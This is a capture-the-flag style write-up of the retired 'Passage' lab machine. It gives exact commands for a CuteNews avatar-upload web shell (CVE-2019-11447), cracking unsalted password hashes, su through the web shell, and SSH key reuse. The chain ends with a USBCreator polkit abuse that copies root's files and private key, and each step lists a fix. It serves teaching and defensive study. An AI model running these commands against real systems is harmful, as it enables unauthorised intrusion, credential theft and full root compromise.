Passage
Summary
I fingerprinted a CuteNews 2.1.2 web application on the target's Apache server and exploited a known unauthenticated avatar file-upload flaw (CVE-2019-11447) to execute code as the web service account. From that foothold I read CuteNews's flat-file credential store, extracted unsalted SHA-256 password hashes, and cracked local user paul's password offline in seconds.
Because external SSH access to paul was blocked by network filtering, I drove a terminal-wrapped 'su' command through the existing web shell to reach paul's session and capture the user flag. Paul's unpassphrase-protected SSH private key was then read through the same channel; that key was trusted by a second local account, nadav, via an authorized_keys entry.
Loopback SSH with the stolen key gave a shell as nadav, who is a member of the sudo group. Ubuntu's USBCreator D-Bus polkit policy grants sudo-group members the right to copy arbitrary files as root without a password prompt; I called that method to copy /root/root.txt to a world-readable path, achieving full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for paul>"Some commands also carry a value in angle brackets — <user> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Identify open services and banners.
$ nmap -Pn -p22,80 -sV --script=http-title,http-server-header $TARGET
22/tcp open ssh OpenSSH 7.2p2
80/tcp open httpRegister the required virtual hostname for all subsequent requests.
$ echo "$TARGET passage.htb" | sudo tee -a /etc/hostsThe page prints the product and its version; the headers alone do not.
$ curl -sS -H 'Host: passage.htb' http://$TARGET/CuteNews/ | grep -iEo 'cutenews[^<]{0,20}|version[^<]{0,20}'Exact commands 3
The public proof of concept for CuteNews 2.1.2: it registers an account, uploads an avatar, and calls what it wrote.
$ searchsploit -m 48800It self-registers, posts a GIF-headed PHP file as the avatar — the check reads the magic bytes and not the extension — and prints the path it can be called at.
$ python3 48800.py http://passage.htb/CuteNewsUid=33(www-data). Replace <user> with the account the exploit registered.
$ curl -sS -H 'Host: passage.htb' --data-urlencode 'cmd=id' "http://$TARGET/CuteNews/uploads/avatar_<user>_shell.php"FixPatch or replace CuteNews 2.1.2 and block script execution in the uploads directoryCritical
Exact commands 4
The store, as served. Each line is one account, base64-encoded.
$ curl -sS -H 'Host: passage.htb' --data-urlencode 'cmd=cat /var/www/html/CuteNews/cdata/users/lines' "http://$TARGET/CuteNews/uploads/avatar_<user>_shell.php" > lines.b64Decode first, then take the hashes. Grepping the encoded file finds nothing, because the hex is not hex until it is decoded.
$ while read -r line; do printf '%s' "$line" | base64 -d; echo; done < lines.b64 | tee users.txt | grep -oE '[a-f0-9]{64}' | sort -u > hashes.txtMode 1400 is raw SHA-256. Unsalted, so rockyou answers in seconds.
$ hashcat -m 1400 hashes.txt /usr/share/wordlists/rockyou.txt --forceWhich recovered plaintext belongs to which account.
$ grep -o 'paul[^"]*' users.txt | head -3 && hashcat -m 1400 --show hashes.txtFixReplace unsalted SHA-256 password storage with a modern adaptive hash and enforce cross-service password uniquenessHigh
Exact commands 1
Drives su through the web shell with a pty wrapper. Returns uid=1000(paul) and <user.txt>.
$ curl -sS -H 'Host: passage.htb' --data-urlencode "cmd=(sleep 1; printf '$PASSWORD\n') | script -q /dev/null -c \"su - paul -c 'id; cat /home/paul/user.txt'\"" "http://$TARGET/CuteNews/uploads/avatar_<user>_shell.php"Exact commands 2
Through the web shell. The key authorised for nadav is paul's, which is the whole finding.
$ curl -sS -H 'Host: passage.htb' --data-urlencode 'cmd=cat /home/nadav/.ssh/authorized_keys' "http://$TARGET/CuteNews/uploads/avatar_<user>_shell.php"One request, three nested shells: the web shell runs script to give su a terminal, su becomes paul, and paul's ssh reaches the loopback — which the external filter on 22 does not touch.
$ curl -sS -H 'Host: passage.htb' --data-urlencode "cmd=printf '%s\\n' '$PASSWORD' | script -q /dev/null -c \"su - paul -c 'ssh -o StrictHostKeyChecking=no -i /home/paul/.ssh/id_rsa nadav@127.0.0.1 id'\"" "http://$TARGET/CuteNews/uploads/avatar_<user>_shell.php"FixRemove cross-account SSH key trust and protect all private keys with passphrasesHigh
Exact commands 5
Run from paul's shell on the target, as the step before. Everything below is typed in the session it opens.
$ ssh -o StrictHostKeyChecking=no -i /home/paul/.ssh/id_rsa nadav@127.0.0.1Which system-bus actions a sudo-group member may call, and with what authentication.
$ id && grep -rl 'unix-group:sudo' /usr/share/polkit-1/actions/ /etc/polkit-1/ 2>/dev/nullSource, destination, and a boolean that says overwrite. No prompt, because polkit already said yes.
$ gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/root.txt /tmp/root.txt true-> <root.txt>
$ cat /tmp/root.txt$ gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/.ssh/id_rsa /tmp/rootkey true && cat /tmp/rootkeyFixRemove the USBCreator service or tighten its polkit policy to require authenticated authorisationCritical
Attack patterns used
The transferable techniques behind this compromise.
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http syn-ack ttl 63 |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.